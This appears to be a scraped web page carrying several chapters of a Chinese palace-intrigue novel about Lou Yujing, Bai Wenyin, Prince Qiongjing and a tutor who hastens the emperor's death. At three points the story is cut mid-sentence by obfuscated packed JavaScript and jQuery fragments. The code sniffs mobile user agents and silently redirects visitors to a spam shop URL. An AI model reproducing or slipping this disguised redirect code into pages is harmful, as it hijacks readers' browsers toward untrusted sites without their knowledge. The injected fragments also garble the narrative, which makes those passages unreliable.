白问引方才看了探子送来的信纸,琼景王已然到了江南,虽不知他究竟是何目的,却也明白来者不善。楼玉京叩门而入,见他神色凝重,心下了然。 “琼景王现下在客栈,我的人说楼府和春歇楼附近多了几个盯梢的,如果真的像你说的那样,他的目标要么是阿韫,要么是我。” 白问引沉吟不语,只是一瞬,他掀起眼帘,说:“许是也想利用你牵制楼悯弦,表面合作,暗箱控制。若你愿见他,明日我让萧掌柜去请。” 楼玉京扯了扯唇,“人都来了,怕也是不达目的不罢休,只是太子那边一定会多加防备,李明德尚在江南,敌暗我明。” “即是想看,光明正大让他看便是,会不会来看就是另一方面了。毕竟虽然太子党当下稳定,双方撕破脸前,琼景王的面子他还得卖。” 门外传来轻叩,两人一齐回头,吝筱的声音传来:“殿下。” “进。” 吝筱这才推门而入,摘了面罩,说:“殿下,京城那边楼悯弦已经妥协,太子面见朝华数次,朝华不降。” “朝华这样轻易就现身了?” 吝筱摇头道:“据说楼太傅与朝华少时交好,曾同生共死,她看在太傅的情面才屡次相见。” 话落,白问引余光瞥见楼玉京蜷了下指尖,却未开口。 “太子不满朝华的态度,所以命李明德看管楼老板,以便威胁太傅劝降朝华,太傅尚未知楼老板逃离。”吝筱顿了一下,又说,“三小姐曾跟在太子身后,见过朝华一面,朝华鼻梁有一颗痣。” 有一颗痣。楼玉京倏然抬眸,少时交好,同生共死。她大概知道这位“朝华”是谁了,能让楼悯弦请得动又武艺高强的人,仅剩她的师叔,沈蕤。楼玉京没有见过她几次,回回相见,都是她与楼悯弦一块饮酒,诉说他太严厉,醉到深处连敬畏都不再记得。 沈蕤那会常笑她酒胆包天,也会让楼悯弦拦着叫她少喝些。只是她那会看不透彻,觉着沈蕤嫌她闹腾。 但这位三小姐……想起当初楼悯弦与她说的那些话,既在太子身边,又为三皇子做事的,是李芷华。 白问引几步走到书桌前提笔写信,简要交代需得麻烦她的事,让吝筱去送。 待吝筱走后他方才去看楼玉京,道:“公爹可是有要问的?” 窗外夜风袭袭,楼玉京拢了拢衣襟,犹疑着是否要开口,即使楼悯弦说过他不在意自己出卖他,可想起那日地道被锁之前,他说了最后一次,却还是去请了沈蕤帮她瞒天过海,她忽然就有些退缩了。 “公爹?” “……” 顾念太多反倒是软肋,背着不忠不义的骂名又能如何? 多年情分吗? 真的要因为所谓的情分放弃自己的计划吗? 楼玉京扯了扯唇,带着自嘲又含着决绝,她终于开口了:“李三是男人,背后还帮着太子,你知道吗?” 白问引闻言一顿,低头盯着她的眸子。 “谁告诉你的李三小姐是男人?” 楼玉京刹那僵硬,猛然抬头,撞入了他视线里。 11. 风花相映红 “我本已锁深庭心落叶黄,冷衾长夜中忽遇暖曦光……莫不是皇天怜我飘零絮,怕只怕风雨朝堂日日凉……” 戏园子里头戏子咿咿呀呀唱着曲儿,那声嗓模糊又清晰,越过九曲回廊直直往墙外头冲,有声却不透彻,不算清晰却仍能够勾得有人愿意进去听上一回。 “娘!娘!锁梨开门了!”一个约莫五六岁,扎着辫子的女孩在街道兴奋地回头大喊,“我要去听!” 年轻的妇人手上提着点心,笑说让她慢些,莫撞了人。 “啊呦——” 还是撞上了,姑娘单手捂着额角仰头去看,那是一个高大的男人,在她的词汇里暂且只有这么个合适的形容。 男人穿着华服散着墨发,异常俊朗。身侧的侍从皱眉欲呵斥,他抬手拦下,垂眸看着对他有些发怵的女孩儿,妇人忙上前将孩子抱回自己怀里,低声与他致歉。 他颔首,并未在意,却看着她怀里的孩子。 “想去听戏?” 那姑娘怯怯点头,他稍稍示意,侍从便取出两张票递去。男人语气依旧没什么起伏,平和地道:“和你娘去看罢,下回莫再撞到别人。” 妇人连声道谢,抱着孩子快步离开。 侍从侧身看了眼远去的两人,不解道:“王爷何必管这种小事?” 男人睨了他一眼,“你知道历代皇帝大多因为什么而不被敬重吗?平日里让你读的书都上哪儿去了?” 侍从:“……” “属下回去就抄书。” 江南街道烟火气旺,白尧叙已许久不曾来过江南了,现下却不是闲玩的时刻,他与侍从七拐八拐过了好几条街才到春歇楼前,大门依旧紧闭,许久不曾开张了。 白尧叙思量一瞬便回头朝身后的萧氏当铺望去,算盘珠子噼啪掉落的声音响起,原先盯着他看的掌柜见他回头立马以算盘遮面。 白尧叙:“……” 他面无表情地走进去一把扯下算盘,看清人的那一刻他微微皱眉,这人不是萧掌柜,只是身形相似的伙计。 “老萧在哪儿?” 伙计嘿嘿一笑,说不知道。 白尧叙没忍住黑了脸,“谁跟你嬉皮笑脸?” 伙计收敛笑意,挠挠头,说:“王爷来的不巧,掌柜去隔壁镇子了。” “……我看起来很好骗?” “小的不敢欺骗王爷。” 伙计信誓旦旦拍着胸脯保证萧掌柜不在,下一秒钓完鱼大笑着进门的掌柜打了他的脸。原本乐呵的萧掌柜看清眼前人也忙收了放肆的动作,一副靠谱的样子问他。 “王爷,您怎么来了?” 白尧叙气笑了,狠狠剜了伙计一眼,咬牙切齿道:“这就是你保证的不敢欺骗?” “……” 萧府,楼玉京这会从书房出来,眼见楼韫杵在门外发呆,幽幽道:“你杵在这做什么?” 楼韫心中微惊,忙回过神垂眼低声道:“自是等你,爹,白世子与您……” “莫要多问,当心引火上身。” 楼韫眼眸中闪过暗芒,道:“究竟是会引火烧身,还是您从来不打算与我说?” 楼玉京顿住。 “阿韫,如果你会死呢?” 没有人是不怕死的,就算如楼玉京,如白问引,也不可能真的完全不怕。楼韫亦不是这个例外,他垂眸忽恭敬道:“我明白了。” 楼玉京望他离去的背影,身后白问引推门而出。恰此时萧掌柜带人归来,白问引稍抬眸便僵了一瞬,楼玉京何其敏锐,随着一道抬眼去看,来人不说熟悉,也不见得有多陌生。那是白问引的生父,当朝琼景王,白尧叙。 萧掌柜只觉白问引神色骤冷,出口即是疾言厉色:“谁让你来的。” 白尧叙倒并不在意他的语气,反正这些年,自他娘死后,他对自己一直是这个态度。 “我想去哪里并不需要你准许。”话虽是对他说,白尧叙看向的却是楼玉京。 白问引嗤然一笑:“这是萧府,不是琼景王府。” “这地方表面姓萧,你还忘了它本来姓什么了。” “它只姓萧。” 萧掌柜暗自朝楼玉京使眼色,后者了然,正要跟着走,白尧叙抬手阻拦。 “何必要着急走,楼老板。” 楼玉京停了脚步,扯唇僵笑:“你们的家事,我一个外人还是不参与了。” “外人?”白尧叙稍抬眉,瞟向脸色难看的白问引,“自诩外人,却在清明去了萧鹤明的坟前,楼老板这外人当得是否掺了水?” 她心下一沉,正欲开口扯谎圆去,忽听白问引蹙着眉不满地喊他“老东西”,然后问:“你想说什么?” “我想说什么,你最清楚。”白尧叙依旧好脾气地不与他计较,只是定定看着他,“太子几次拉拢朝华失败,楼悯弦劝不下的人,我需要他去。” 他指向楼玉京,话落使得她笑起来:“王爷有所不知,我与师父已决意义绝,利用我威胁他,对他来说是痴人说梦,笑话一场。” “是吗?可我听说,楼太傅是为了你,才不惜卖了朝华。” “……”楼玉京默然,须臾之间,忽晴空生变,黑云压城,暴雨来临前,她说:“那时候他说过不再帮我。” 细丝轻如鸿毛,落在发顶,肩颈,直至伴着她的声音一道掷地。 “即是他明面上为我卖了朝华,又未必不是做戏诓骗,王爷。恩不断义已绝,是他与我有恩,不是我与他,恕我帮不了您。” “不试试怎么知道?” 楼玉京说:“我没有这份尝试的勇气。” 真的没有吗? 是没有还是不肯? 或是生怕自己这一去是自取其辱,自作多情? 白尧叙深深地看她,却也不再纠缠。 这日起白尧叙暂居萧府,这位身份尊贵的不速之客忽然到来,萧府上下倒沉闷了,不似往日大公子在世时欢脱。一场暴雨来的急切,细丝簌簌仅少顷,便转瞬变如豆大,簌簌洒落在青瓦砖、油纸伞上,噼啪作响。 萧掌柜虽说通透,知这父子俩相见即是剑拔弩张,又没资格对王爷进行驱逐,只得挑了一处最远的院落,让人将王爷的行囊送入。 白尧叙不怎么挑剔,他本身常年居于沙场,再脏乱的地方他也睡过,何况萧府本身条件不差,即使是最偏远的院子也是一番雅静之地。 楼玉京回了自己的院落,临进门前,她还是忍不住回头,身后白问引跟了许久,她一回头,两人正巧碰上视线。白问引止步不前,那双酷似萧鹤明的丹凤眼却直勾勾地在看她。 “世子有话便直说罢。” “需要赶他走么?” “世子此番无论是言行还是想法,皆大逆不道。” 白问引:“……” “如若世子无事,还请不要再跟着了,天色渐晚,阿韫在吃食上有些挑剔,让他自己做饭罢。” 白问引微点头,允了她。“稍后我让萧掌柜安排。” “麻烦了。” “公爹何必见外。” 楼玉京笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845930|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了笑,与他说:“没有外人在,世子何必这样喊?您不觉得别扭么?” 现下她就连与他说话,都用了尊称,无论过去是何种身份,都不适于当下,免得传出去落人口舌,让人捉了把柄。 白问引垂下眼睫,他懂她的顾虑,又存了私心,便低声道:“那您想听我怎么喊?我指的是私下里。” 他亦是以小辈的名义对她用尊称,向她讨一个并不那么生分的称呼。楼玉京愕然,倘若外人在此,听了他这样对一个人示弱甚至是伏低做小,怕是要惶恐,觉着世子昏了头。 雨水噼里啪啦往下落,与说话声一般清晰。 “殿下。”仍旧疏离敬重。 白问引抬头,却向她作揖,此番动作的确倒反天罡,他声音平静,姿态极低,与她说:“莫要这样生分,算我对你的请求,况且对外,我是您的儿媳。” “即是过去也罢,但是殿下,今时不同往日,王爷忽然到访,李明德尚未离开,我们亦没有闲暇时间去探讨一个称呼,一份关系。过去的公媳不再是我们,殿下的脊背亦不该随意低下,这样只会让我考虑是否应该换一个脊骨挺直的合作伙伴。” 白问引默然许久,雨早已停了,楼玉京收了伞,回头往院里走,他往前半步,也仅仅半步。 “楼老板。” 楼玉京没有回头,依然往深处走,直至彻底在他眼里合上房门,毫无余地。 夜渐渐深了,就在一场暴雨的结束之后,夕阳西沉,白问引收了伞,转身回自己的院子了。 身后,楼韫的院落,房门一直敞开,他也的确在听两人的对话,见人走远,他方才起身往厨房走去。 楼韫只做了两人的饭,不曾假手于人,亲自给楼玉京送去。父子俩许久没有坐下来好好吃一顿饭了,只是这顿饭还是在沉默中度过,直到收拾碗筷,楼玉京也没有主动开口。楼韫收碗的手停住,“爹。” 她没应声。 楼韫自顾自地说:“我知道您担心我,但我总要成长不是吗?我不求你告诉我全部,哪怕只是一点点我可以知道的,我都想听你说。” 楼玉京终于看他,转瞬须臾,她饮了一杯浓茶,却叹息。 “我与你师公早在你记事起,就已经涉事朝堂,你师公是当朝太傅,我不曾入朝,但私下里,我会把春歇楼里打听到的一些消息写与他,零零总总,一写就是十二年……” 从她十五岁,到二十七岁,十二年来布局已久,忽一朝不慎,沦落到躲躲藏藏,在随时可能出现的危险中暗中操控。沈蕤是她棋局中的意外,她从来没想过对方会被拉进来,顶替她朝华的身份,替她承受太子的胁迫。 说来说去,其实有太多太多不能宣之于口,不是楼韫一下子就能接受,能全部说出来的。比起当年她成长了太多,不仅是在楼悯弦的教导,更是她十二年来的摸索。楼玉京忽然抚摸双颊,那年正当生涩,刚刚撑起春歇楼,带着一个三岁小孩的她早已不在了。 楼韫静静听着她说,说到最后,真正和朝堂有关的,有用的信息并不多,可他还是没舍得打断。楼玉京的诸多改变其实他也看在眼里,忽然他想起楼悯弦在很多年前来过一趟,那时候楼玉京还在受他教导,花开正艳的春天,他指着满树桃花,慢慢地与她对诗。 “去年今日此门中,人面桃花相映红。” “人面不知何处去,悠悠生死别经年。” 不是这句,是另一句。他记得楼悯弦对楼玉京说,她笑了起来,悠悠地念出。 人面不知何处去,桃花依旧笑春风。 12. 相逢应不识 翌日又是一场雨,白问引早早离府,临行前叮嘱萧掌柜,禁止白尧叙靠近他那边的院落。又自知若是白尧叙想要硬闯,萧掌柜也拦不住,就又补了一句尽量拦住,拦不住便罢了,萧掌柜点头称是,送他出门。 楼玉京醒在晌午,饭菜楼韫热了好几回,这会还温着,她随便对付几口便出了门。 门外青砖潮湿,细雨连绵,廊下白尧叙不知站了多久,他确实没有太过靠近,身边是萧府花园,就算萧掌柜代为劝阻,若他说只是赏花,对方也没有其他理由赶他走。 楼玉京撑伞走去,近时伸手抚花,惹得指尖濡湿一片。 “王爷好雅兴,只是究竟到此是为了赏花,还是等我主动走过来,与您一叙?” “楼老板是聪明人,若真真不知,便不会来了。” 楼玉京侧身赏景,声音轻快,“我一是赏景而来,二是……” “王爷,我并不明白你们究竟为什么这样执着于朝华的归属。” 白尧叙折下一朵琼花,方才解释:“有传言称,得朝华者得天下,能请到朝华做军师,皇位近乎胜券在握。” 楼玉京脚步一顿,“这个传言从何而来?” 白尧叙倒是迟疑了:“你没听过?不少人认为此言非虚,只是因为这话出自太傅口中,毕竟他与朝华熟识,又在朝堂上待了那么多年,权势地位丝毫未减,无论疑心再重,误杀多少忠臣,历代几位皇帝无一人敢动他。” “那你们又怎么确认这不是他为了自保而散发的谣言?”豆大的雨滴打在花瓣上,一朵琼花摇摇晃晃,待水滴落地,方才重新立直。 白尧叙将手中琼花插入泥里,而后以水珠净手,摩挲着指节的扳指,说:“凭景元帝不信传言,试图杀他。那一日他被押上断头台,朝华初次现身,狂风大作,暴雨连绵,冲刷了城外三座村庄。所幸赶上城中市集,村里大部分人都进城采购,基本无人伤亡。那之后的某夜,景元帝梦中一蒙面女子行刺与他,深夜惊醒,至此他再不敢动楼太傅。” 楼玉京却是笑。 “倘若朝华真有这通天的本事,哪里轮得到谢氏做皇帝?” “楼老板慎言,李明德尚未离开,你我未必有把握保证萧府没有他的人。” 兵来将挡,水来土掩。现下她不是挡兵的将,也不是掩水的土,就将话题带去,说道:“王爷留三皇子一人在京,除却李芷华,您在他身边又放了多少人?” 白尧叙淡淡道:“这并非楼老板该关心的事,至少在这个节骨眼上太子没必要对三殿下动手。只要朝华尚在中立,他能顺利登基,三殿下痴傻,至多太子也只是软禁他。” “但您不是太子党,朝华的态度模糊不清,太子等人疑心最重,宁可错杀,绝不放过。若李芷华真有身手保他无虞便罢了,倘若一朝不慎,三殿下意外消失,您真的还有能力再扶其他皇子与之抗衡么?” 白尧叙默然,听得楼玉京继续说:“就算您等得起,太子又真的还会再给你这样一个机会么?往难听了说,您保证太子登基后不会杀您么?” “楼老板,原本我只是想借你的手去向太傅施压,但你这三问,不正恰恰暴露了自己吗?我着实不信一个市井小民能对朝堂与太子这样熟悉。或者说……朝华小姐,您真的不打算正式与我交谈吗?” 楼玉京刹那僵硬,哪怕只有几息,白尧叙也确定他赌对了。 “你是楼氏夫妇的女儿,楼老板。” 这句不再是试探与下注,她僵硬的几息里他确认了这个事实。 不枉他当初远在京城,在皇帝病重前顶风作案的那番调查。 “你知道多少?”楼玉京听到了自己颤抖的声音,白尧叙既然知道她出身何处,再掩藏也毫无意义了,倒不如与他正面交谈,至少他能站在这里就代表他暂时不想暴露她。 白尧叙笑了起来,说:“你父母当年站了太子,但棋差一招,输给了二皇子,也就是当今的陛下,而后被斩草除根。这是你听到的版本,对不对?” “如果我说,玉京。我见过你。如果我说,二皇子早就死了呢?” “!!!”楼玉京张了张嘴,却发不出声。 她不记得自己几时与琼景王见过了。何况于她而言,更重要的是倘若二皇子早就死了,那么当下皇位上的,又是谁? 雨仍旧在下,声音愈发清晰,下得也越来越密集,不见得要停。 白尧叙继续说:“现在这位陛下,是冷宫里出来的三皇子,二殿下只是他的挡箭牌。其实当初李明德也不打算扶持一个宫女生的皇子,奈何二殿下性情暴虐。在接受李氏一族的支持后,他认为自己稳坐皇位,对李明德提的要求愈发过分,甚至某次醉后,在李府发酒疯,大骂李府的人是他的狗。” 楼玉京大抵明白了,李明德不会想要难控制的自大狂。 “而那日,恰好我路过你的家乡,那时我一个人上街,看见你娘乔装后牵着你在买一串糖葫芦。你说你要吃那串最大的。”白尧叙看了她一眼,接着说。 “我回去以后,赶上三殿下求他,比起二殿下那个疯子,三殿下更加省心,但他也知道那群老顽固看不上宫女生下的皇子,便在某次狩猎时佯装不慎,划了二殿下的脸。先帝依旧是李氏的傀儡,加之已有太子,便没有太过苛责,只是罚了俸禄。” 雨渐渐小了,那段回忆楼玉京确实有想起,却不知当时就是他在看着自己与阿娘,家乡这个词也太过遥远了,模糊得像旧铜镜照不清的那张脸。 “太医早接了李明德的话,说他的脸治不好,二殿下嫌丑,只得日日戴着面具。于是到了逼宫的时候,他在三殿下脸上划了一样的伤,戴了一样的面具,杀了二殿下,推三殿下替了他的位置。” “……既然他是临时上位,又何必要我爹娘的命?” “因为先帝太子留有遗孤,只是那遗孤下落不明,楼氏夫妇是太子亲信,孩子最有可能在他们手里,奈何两人什么都不肯说,李氏施压,陛下下令,教他们不得不死。” 楼玉京这会被巨大的冲击撞得天旋地转,二皇子早已死去,害她爹娘的不仅是皇帝,还有李氏,甚至还可能存在其他势力。 那楼悯弦呢?他为什么不告诉她?是不知道么? 可是太傅在朝多年,见证了几位皇帝的更迭,他又怎么会不知道呢? “惊讶么?在想楼悯弦?”白尧叙转身已经准备离去了,只是一想到她可能还是不可置信楼悯弦瞒了她这么多,便又开口,“朝华小姐,作为盟友我有必要提醒你,最好不要离太傅太近。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“世子总喜欢不请自来,下回烦请上贴,否则我也不必再与您讲礼数了。” 白问引自黑暗中走出,闻言却是端起茶水,那份不知礼数的样子于楼悯弦眼里,与外头的地痞流氓别无二致。 “夜已深了,殿下有话直说罢。” “你给她的名册,问题可大着。” 天空忽然电闪雷鸣,白光乍泄,照得两人清晰看见对方眼中的杀意。 楼悯弦按捺住那股冲动,沉声道:“偷看别人的书可不是什么好习惯,不过也对,世子自幼野着长大,没有人教,不懂这些礼数,做长辈的也不好说你不是。” “太傅自诩礼数周全,但请问您,尊卑有序,您以什么身份称为我的长辈?”白问引并未动怒,句句属实。 楼悯弦淡淡道:“殿下深夜前来,只为了越俎代庖,替她问我名册之事?她知道你口中的合作是在利用她么?” 白问引看着他,半晌,却是笑了。 “果然是太傅,几句文绉绉的话,就给我织了顶帽子。”白问引说着,敛了笑,声音陡然冷下,“只是你自己心里清楚,我与你之间,究竟是谁在利用她。” 13. 浮萍随逝水 “我本欲寻仙日日作佯装,怎奈帝与仙鹤结身心恙……莫不是乘西归去自在好,怕只怕戏台荒冷无人唱……” 锁梨二开,戏子唱新曲。秋日立,落叶黄,百姓忙,戏台上,少人唱,台下人散,奈何荒凉。 楼玉京头一回来这儿听曲儿,如外头传的那样,曲儿好听,令人流连。先前她邀白尧叙同往,白尧叙应下却还未到,只是唱到了这时,方才姗姗来迟。 “老爷来晚了,戏曲高潮已过,您只能听个尾曲。” 白尧叙坐得笔直,饮茶听下,看向台上戏子走荒腔。 “尾曲自有尾曲的好,风雨朝堂日日凉,戏台荒冷无人唱,与我来时唱的倒是适合。” “老爷晚了一刻,何不解释?” 白尧叙依然在看台上,戏子唱至终章,道一句我预见心死他日锁庭荒。 “待这出戏结束,我自有话与你说。” 戏院外,日头已经不再那么毒辣,逐渐转凉。 未时,皇宫。 楼悯弦来得悄无声息,皇帝这会醒着,余光瞧见他进来,艰难扭头朝他看去。 对方手上拨弄着一串崭新的佛珠,漠然地看他。皇帝艰涩开口:“太傅可有事要说?” 楼悯弦站得近了些,答他:“自然是有的,殿下。” 皇帝:“!!” 他颇为震惊于这个称呼,已经忘记上一次听到是多少年前了。 “放肆……喀……”话未说完,他猛地咳出一丝血。 “殿下何必这样急躁,当心丢了命。” “你——”皇帝咳嗽的动静越来越大,楼悯弦从袖口取出一方帕子盖在他的唇上,而后用手轻按。 “殿下莫要招人过来,臣只想单独与您说些话。” 皇帝双目瞪圆,他本就形销骨立,这会与皮包骨无异的手死死攥住楼悯弦的手臂。病人终归没有常人力气大,楼悯弦轻而易举掰开他的手,眼神骤冷。 皇帝还想活命,没有再试图挣扎。 “这就对了,殿下。”楼悯弦见他老实,才把帕子拿开。 “你到底想说什么……”这会他发声已经愈发困难。 “我想说的无非是一些陈年旧事,三皇子殿下。这位子您坐了几十年,难道就真的忘了是怎么得来的吗?” “你知道……你竟会知道!是不是李明德……” “您错了殿下,李丞相瞒的很好,只是你又怎么确定我不是在暗中操纵的一员呢?当年杀死二殿下,有我一份助力,否则宫变之后,您顶替二殿下的事不会这么容易,难道您真的以为一个身形不同气质不一的冷宫弃子,能够模仿出真正被娇纵过的皇子吗?” “……” “不必沉默,殿下,如今您命数已尽,就算用汤药吊着也活不了多久了,不若趁早退位让贤,太子还能念着些情分让你做太上皇。” 皇帝沉默了许久,忽然干咳着笑起来。 “太上皇……命数已尽……你们以为朕会喝不出那些药的变化吗?太傅此番是想告诉朕,只要朕做太上皇,就能活命?” “那么殿下如何想?” “是你们痴心妄想,只要朕活着一天,谢衍知就别想做皇帝!朕今日就要废太子!” 楼悯弦拨弄佛珠的动作停下,冷笑一声。 “我本以为殿下是个聪明人,没想到做了那么多年皇帝,竟还是个蠢的。您想废太子,也要看看丞相与另几位臣子同不同意,何况只要您身份败露,别说是皇位,就连太上皇的位置您也不用再坐。” “楼悯弦……你敢……” 皇帝张着嘴试图呵斥,想让他滚出去,别再靠近这里。他的确恐惧了,耳边似乎响起那群不忠之臣的逼迫。他颤抖着,竟在楼悯弦身后看到了血肉模糊的二皇子。 “啊——啊啊!!!” 他嘶哑地叫,挥动着手,指着二皇子的虚影,似乎想要楼悯弦回头,楼悯弦却是会心一笑。他还想再做些什么,可他病入膏肓时日无多,方才与楼悯弦争执就已经用尽了精力,此刻又怎么还说得出话。 二皇子慢慢朝他走来,他吓到连尖叫声都发不出来,最终他还是一个字也没能再说出,哽咽几声,睁着眼,没有再动弹。 楼悯弦依然盯着他双眼,死不瞑目的帝王他不是第一次见了,便拂袖抬手,阖上他眼皮,然后离去。他坐稳了几十年的皇位,还是以这样的方式摔落。 几息之后,谢衍知与几位太医进门,太医例行把脉,首位惶恐,猛回头,示意另外几位查看,随后几人跪下行礼。 “殿下,陛下驾崩,无力回天——” 谢衍知骤然掀起眼帘,袍袖之下双手紧攥成拳。他看了榻上的皇帝片刻,忽然放松下来,让太医出去了。不过须臾,整座皇宫成了白茫茫一片,皇子公主披麻戴孝,妃子痛哭,举国同悲。 帝王崩,天下恸。唯有少数地方不知,还在欢天喜地的等待乞巧节来临。 楼悯弦没有去吊唁,白问引也只是在茶楼里听说书人讲皇帝已死,太子登基在即。至于李明德,阿福已经传信与他,告知他回来见证太子登基。窗外信鸽缠着卷纸,远下江南。 锁梨一出戏已结束,信鸽入场,白尧叙抬手接下,取了信纸展开,楼玉京侧头去看,纸上只有四个字。 陛下驾崩。 皇帝死了,意味着谢衍知就位在即。楼玉京只觉得血液寒凉,前两日尚且在世,如今就没了。是谢衍知等不及,还是……楼悯弦等不及? 她木然跟着白尧叙走出锁梨,萧掌柜与吝筱在巷口往里头张望,显然是得知了消息刚赶过来。 “王爷,李丞相方才撤人离开江南了。” 白尧叙点头,然后问:“他没回来?” 萧掌柜说:“世子在京中听新帝登基。” 楼玉京往前几步,问萧掌柜:“掌柜,皇帝如何驾崩?” “这……坊间传闻是说饮错了药。” 饮错了药,多么冠冕堂皇的借口。 “楼老板,回罢。”白尧叙说。 新帝登基,减税一年,大赦天下。民间百姓叫好。 很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845932|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 就是乞巧节,京城热闹非凡,河流花灯遍布,夜空天灯遥遥。沈蕤脸上戴着狐狸面具跟在同样戴了面具的楼悯弦身边,虽说她的年岁不复风华正茂,心却可以复回。 “悯弦,这边。” 楼悯弦不喜人多,与沈蕤出来不过是为多年情谊,对方是自己的师妹,仅此而已。 沈蕤买了两盏河灯,其一写玉京安康,其二写自己与楼悯弦情谊常在。楼悯弦本来只打算买一盏天灯,为楼玉京祈平安,可看着沈蕤写了两盏,犹豫一会,还是多写了一盏。 其一玉京平安,其二阿蕤顺遂。 沈蕤那盏天灯率先飘走,她本人也放完河灯回头,看他手里的一盏灯,笑着喊他。 “楼太傅,怀里抱着灯准备留至新年?” 楼悯弦点了灯,沈蕤站在他身侧,问他:“写了什么?” 他没说话,给沈蕤买了包蜜饯。 “你不说我也知道,肯定是写了玉京平安。”对方还是笑,只是不知他其实放了两盏灯。 阿蕤顺遂,她此生都不会知道。 乞巧热闹的不仅是京城,江南亦是张灯结彩。 楼玉京拒绝了楼韫陪同,一个人出门逛街,过石桥。 楼韫并没有因为她的拒绝而待在萧府,他只是买了玉兔面具戴着跟在她身后,人流太大,他跟了片刻还是与她散了。 白尧叙也很久没有逛过乞巧到来的街道,身边是萧掌柜与吝筱,这会三人不太像主仆,倒像是多年老友,萧掌柜本就在王府多年,与白尧叙已经很熟悉。吝筱是后来的,从一开始就跟着萧鹤明在江南定居,不曾进入琼景王府。 “老萧,这么多年,倒是难得见你凑热闹。”白尧叙停在一个买玉佩的摊子前,挨个挑选。 萧掌柜笑了笑,“的确很久没见过热闹了,不若一直这般,等世子回来,才算真的热闹。” 另一边楼玉京耳边听着摊贩吆喝,眼中看夫妻结伴,看孩童嬉闹,却不觉想,若萧鹤明尚且在世,两人会不会在街上偶遇,然后互相呛对方。想到那画面她笑了出来,走到卖面具的摊子边,买了一个朱雀面具,戴着它又过石桥,擦肩过了一个戴着麒麟面具的男人。 那么熟悉的身形与背影,是离去多日的他回到江南。 楼玉京猛然回首,整逢男人回头转身,两人隔着面具四目相对。人流似乎慢了,声音也变得遥远。桥下满是花灯,上空天灯随月色而亮。 楼玉京只是看着他,在这喧嚣的街道里。纵使再像,也不过疑似血亲兄弟。 “世子。” “楼老板。” 同时出口,却没有怔愣与尴尬,那语气像在朝堂上的谈论公事。 身份揭晓,相伴多时,过去的那些日子不会再有。 无论是公爹与儿媳,还是曾经错认的人。 不会了。 她不会再喊他萧鹤明了,无论是在多么迷人眼的月下花前。 就像他也不会再私下喊她公爹,或是玉京,他只会如她所愿喊一句楼老板。 当做诚心。 14. 故人心易变 新帝即位三日,午时宣太傅入宫,于养心殿一叙。 谢衍知退朝之后换了身行头,是他还做太子时常穿的衣衫,也是他与楼悯弦初见时穿的那身,分毫未改,只是那衣服小了一些,也打着几个补丁。 此前总管太监看宫女为他整理衣衫的时候就注意到了,委婉地劝他说其实不必换。 只是那会他露出个轻松的笑容,又自己理了理衣裳,心情愉悦地说:“要的,朕就喜欢这身,太傅再怎么礼数周全,想来也不会管这身旧衣裳。” 之后楼悯弦入殿行礼,因着礼数不曾抬头,不去直视,新帝攥紧扶手,险些与过去那般欣喜起身去扶。谢衍知闭了闭眼,微叹息,心说罢了,再威严地摆上帝王架子。 “太傅平身,朕今日宣你前来,是为朝华。”谢衍知表面淡然,公事公办地道:“半月前,朕给了你时间,如今结果如何?” 楼悯弦不紧不慢地拨弄佛珠,平和道:“陛下,半月已过,朝华不降。现下您已登基,朝华态度仍旧中立,臣以为不必再劝。” “朝华一日不降,朕就一日寝食难安。太傅莫不是觉着李丞相离开江南,楼玉京就安全了?” “陛下。”楼悯弦声音骤冷,只是顾及礼数仍不抬头直视帝王。“您知道传言,倘若逼急了朝华,别说她不会归顺,一朝不慎,连皇位您也未必能坐多久。想要趁您刚刚上位,地位不稳拉您下来的人不在少数,多方制衡,朝华当下中立已是最好的结果。” 楼悯弦这番话无疑是对的,谢衍知摆摆手。 “罢了,今日不必说这么多公事。朕与太傅,许久没有坐下好好说过话了,太傅……抬头罢。” 楼悯弦仍低着头,没有动。 谢衍知眯了眯眼,“朕要你抬头,太傅,与从前那般。” “陛下。” “朕是衍知。” “……” 他终于抬头,看见了谢衍知身上的旧衣裳。楼悯弦微微一怔,似乎也被拉入了初遇时的场景——那时候寒冬腊月,一身月白色衣衫,披着红色狐裘的他路过冷宫,一把红色油纸伞遮挡风雪。透过门缝看去,谢衍知在冷宫穿着单薄,骨瘦如柴,将将冻死。他的母妃死在他出生那年,没有人护得住他。 也是在那一年,楼悯弦停了脚步,隔着门缝看了许久,从袖中拿出一袋银钱丢给看门侍卫,让他们买衣裳、吃食,再请太医。 七日后是个难得的雪晴天,楼悯弦入养心殿,请求先帝将人放出,由他教养。 这件衣服缝缝补补,穿在身上又是多年。百转千回,仿若初见,一如当年。 一如当年。 “太傅还喜阳羡么?”谢衍知已让人斟茶,到了他那杯,却忽然开口问他。 楼悯弦思绪回笼,说:“陛下所赐,无论阳羡还是紫笋,臣不敢不喝。” 缘来缘去,无论回忆再深,恐怕在楼悯弦眼里也如过往烟云,不可再追。谢衍知摆手让宫女退下,亲手为他再斟一杯茶。 